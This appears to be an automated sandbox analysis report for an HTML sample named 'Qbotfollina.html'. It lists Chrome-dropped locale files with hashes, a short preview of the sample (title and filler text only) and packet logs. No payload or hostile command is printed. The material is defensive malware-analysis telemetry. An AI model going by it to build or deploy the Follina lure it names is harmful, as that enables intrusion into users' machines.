{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\da\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\el\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\en\messages.json
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Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\en_GB\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\es\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\es_419\messages.json
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SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

SSDEEP: 12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR

MD5: CFF6CB76EC724B17C1BC920726CB35A7

SHA1: 14ED068251D65A840F00C05409D705259D329FFC

SHA-256: C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD

SHA-512: 53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome'i veebipoe maksed"..   },..   "app_name": {..      "message": "Chrome'i veebipoe maksed"..   },..   "craw_app_unavail
able": {..      "message": "Rakendus pole praegu saadaval."..   },..   "craw_connect_to_network": {..      "message": "Looge .hendus v.rguga."..   },..   "iap_unavailable": {..    
  "message": "Rakendusesisesed maksed ei ole praegu saadaval."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "Logige Chrome'i sisse."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 647

Entropy (8bit): 4.595421267152647

Encrypted: false

SSDEEP: 12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN

MD5: 3A01FEE829445C482D1721FF63153D16

SHA1: F3EAAADDC03F943FC88B30B67F534AA13E3336DD

SHA-256: 0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836

SHA-512: 3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEA
D8

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Storen maksut"..   },..   "app_name": {..      "message": "Chrome Web Storen maksut"..   },..   "craw_app_unavail
able": {..      "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss.."..   },..   "craw_connect_to_network": {..      "message": "Muodosta verkkoyhteys."..   },..   "iap_unavai
lable": {..      "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss.."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "Kirjaudu sis..n Chromeen."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 658

Entropy (8bit): 4.5231229502550745

Encrypted: false

SSDEEP: 12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV

MD5: 57AF5B654270A945BDA8053A83353A06

SHA1: EEEF7A4F869F97CF471A05D345E74F982D15E167

SHA-256: EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2

SHA-512: 5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF5
2

Malicious: false

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\et\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fil\messages.json
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Preview: {..   "app_description": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   },..   "app_name": {..      "message": "Mga Pagbabayad sa Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Kasalukuyang hindi available ang app."..   },..   "craw_connect_to_network": {..      "message": "Mangyaring kumonekta 
sa isang network."..   },..   "iap_unavailable": {..      "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Mangyaring mag-sign in sa Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 677

Entropy (8bit): 4.552569602149629

Encrypted: false

SSDEEP: 12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh

MD5: 8D11C90F44A6585B57B933AB38D1FFF8

SHA1: 3F9D44EA8807069A32AACA2AAAD02FD892E6CC90

SHA-256: 599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5

SHA-512: D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F
7

Malicious: false

Preview: {..   "app_description": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   "app_name": {..      "message": "Paiements via le Chrome.Web.Store"..   },..   
"craw_app_unavailable": {..      "message": "Application indisponible pour le moment."..   },..   "craw_connect_to_network": {..      "message": "Veuillez vous connecter . un 
r.seau."..   },..   "iap_unavailable": {..      "message": "Les paiements via l'application ne sont pas disponibles pour le moment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Veuillez vous connecter . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 835

Entropy (8bit): 4.791154467711985

Encrypted: false

SSDEEP: 24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm

MD5: E376D757C8FD66AC70A7D2D49760B94E

SHA1: 1525C5B1312D409604F097768503298EC440CC4D

SHA-256: 8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D

SHA-512: 673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome ... ..... ......"..   },..   "app_name": {..      "message": "Chrome ... ..... ......"..   },..   "craw_app_unavailable": {..      "messa
ge": "......... .. ... ...... .... ..."..   },..   "craw_connect_to_network": {..      "message": "..... ....... .. ...... ....."..   },..   "iap_unavailable": {..      "message": "..-.. ...... ... ...... .... ..."..   
},..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "..... Chrome ... .... .. ....."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 618

Entropy (8bit): 4.56999230891419

Encrypted: false

SSDEEP: 12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK

MD5: 8185D0490C86363602A137F9A261CC50

SHA1: 5BD933B874441CEACB9201CCC941FF67BAED6DC0

SHA-256: A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15

SHA-512: D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D03
96E

Malicious: false

Preview: {..   "app_description": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.anja u web-trgovini Chrome"..   },..   "craw
_app_unavailable": {..      "message": "Aplikacija trenuta.no nije dostupna."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se s mre.om."..   },..   
"iap_unavailable": {..      "message": "Pla.anje u aplikaciji trenuta.no nije dostupno."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comple
ted."..   },..   "please_sign_in": {..      "message": "Prijavite se na Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hu\messages.json
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File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 683

Entropy (8bit): 4.675370843321512

Encrypted: false

SSDEEP: 12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd

MD5: 85609CF8623582A8376C206556ED2131

SHA1: 1E16EB70DB5E59BB684866FF3E3925C2DEF25A12

SHA-256: 32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6

SHA-512: 27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Internetes .ruh.z Fizet.si rendszere"..   },..   "app_name": {..      "message": "Chrome Internetes .ruh.z Fizet.si r
endszere"..   },..   "craw_app_unavailable": {..      "message": "Az alkalmaz.s jelenleg nem .rhet. el."..   },..   "craw_connect_to_network": {..      "message": "K.rj.k, csatlako
zzon egy h.l.zathoz."..   },..   "iap_unavailable": {..      "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el."..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Jelentkezzen be a Chrome-ba."..   }..}..

File type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Entropy (8bit): 4.836014560592255

TrID: HyperText Markup Language (12001/1) 51.06%
HyperText Markup Language (11501/1) 48.94%

File name: Qbotfollina.html

File size: 6241

MD5: a32050027aea96b3b70e1056490a98c9

SHA1: ef28c67583c8c8048c0baaead036680a60441213

SHA256: e3ba1c45f9dd1f432138654b5f19cf89c55e07219b88aa7628334d38bb036433

SHA512: 1c2a1605b67feb57f99dc4c7daffb16d1f3cc48d12cfc338c6d4fd84348dd6a872f6a0daeda70e96f49ad05b0f9690211f67346e3e4660ca2e79ed6f038a6c0c

SSDEEP: 192:tJ5mDtWIDu0GTl9EHbTcKeZEwC8EaKiSe+1hPw6utjdkGPgz47:wDwIwERY5V7VaGPgz47

TLSH: 8FD1B7716E2A17104BE113B99396CCEEE358E41037D3AB58ECF64A2EB459A0CC713294

File Content 
Preview:

<!doctype html>..<html lang="en">..<head>..<title>..Good thing we disabled macros..</title>..</head>..<body>..<p>..Lorem ipsum dolor sit amet, consectetur adipiscing 
elit. Quisque pellentesque egestas nulla in dignissim. Nam id mauris lorem. Nunc suscipit

Total Packets: 62

• 53 (DNS)

• 443 (HTTPS)

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets
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Timestamp Source Port Dest Port Source IP Dest IP

Jun 8, 2022 09:53:49.185261011 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.185291052 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.185394049 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.185516119 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.185533047 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.185602903 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.188307047 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.188328981 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.188357115 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.188370943 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.342768908 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.342863083 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.344583035 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.344883919 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.360430956 CEST 49696 443 192.168.2.3 40.126.31.143

Jun 8, 2022 09:53:49.366539955 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.366564989 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.366925955 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.367024899 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.368241072 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.368638992 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.368665934 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.368797064 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.368808031 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.368949890 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.369016886 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.408497095 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.504848957 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.504941940 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.505017996 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.506172895 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.506206036 CEST 49705 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.506236076 CEST 443 49705 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.546287060 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.546324968 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.546348095 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.546524048 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.546551943 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.546570063 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.546698093 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.588310957 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.588388920 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.588495970 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.588521004 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.588543892 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.588565111 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.588614941 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.588675022 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.629951000 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.630081892 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.630136013 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.630184889 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.633716106 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.633742094 CEST 443 49704 20.82.209.183 192.168.2.3

Jun 8, 2022 09:53:49.633750916 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:49.633848906 CEST 49704 443 192.168.2.3 20.82.209.183

Jun 8, 2022 09:53:52.761503935 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.761600018 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.762679100 CEST 49706 443 192.168.2.3 23.211.6.115
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Jun 8, 2022 09:53:52.765028000 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.765052080 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.765917063 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.765958071 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.767163992 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.767198086 CEST 443 49707 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.767246008 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.770695925 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.775130987 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.775154114 CEST 443 49707 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.778692007 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.778723955 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.825927019 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.826083899 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.828493118 CEST 443 49707 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.828619957 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.832237959 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.832389116 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.865679026 CEST 49709 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.865716934 CEST 443 49709 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.865881920 CEST 49709 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.872267962 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.872308969 CEST 443 49707 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.872670889 CEST 443 49707 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.872771025 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.872833014 CEST 49707 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.873447895 CEST 49709 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.873465061 CEST 443 49709 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.874258041 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.874360085 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.874515057 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.874542952 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.874811888 CEST 443 49706 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.874891996 CEST 49706 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.877458096 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.877490997 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.877656937 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.877666950 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.878269911 CEST 443 49708 23.211.6.115 192.168.2.3

Jun 8, 2022 09:53:52.878377914 CEST 49708 443 192.168.2.3 23.211.6.115

Jun 8, 2022 09:53:52.891004086 CEST 443 49707 23.211.6.115 192.168.2.3

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Jun 8, 2022 09:53:49.039904118 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:49.798000097 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:50.548085928 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:51.313922882 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:52.079493046 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:59.802799940 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:59.812877893 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:59.929595947 CEST 58116 53 192.168.2.3 8.8.8.8

Jun 8, 2022 09:53:59.946887970 CEST 53 58116 8.8.8.8 192.168.2.3

Jun 8, 2022 09:53:59.949321985 CEST 65358 53 192.168.2.3 8.8.8.8

Jun 8, 2022 09:53:59.954632044 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:53:59.976814032 CEST 53 65358 8.8.8.8 192.168.2.3

Jun 8, 2022 09:54:00.553985119 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:00.569602013 CEST 137 137 192.168.2.3 192.168.2.255

UDP Packets
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Jun 8, 2022 09:54:00.710259914 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:01.304100990 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:01.335355997 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:01.460374117 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:05.949933052 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:05.951384068 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:05.952733994 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:06.694793940 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:06.697693110 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:06.697714090 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:07.460524082 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:07.464581966 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:07.464603901 CEST 137 137 192.168.2.3 192.168.2.255

Jun 8, 2022 09:54:12.853508949 CEST 51393 443 192.168.2.3 142.250.203.110

Jun 8, 2022 09:54:12.882452965 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:13.117361069 CEST 51393 443 192.168.2.3 142.250.203.110

Jun 8, 2022 09:54:13.159930944 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:13.183517933 CEST 443 51393 142.250.203.110 192.168.2.3

Jun 8, 2022 09:54:13.430160999 CEST 51393 443 192.168.2.3 142.250.203.110

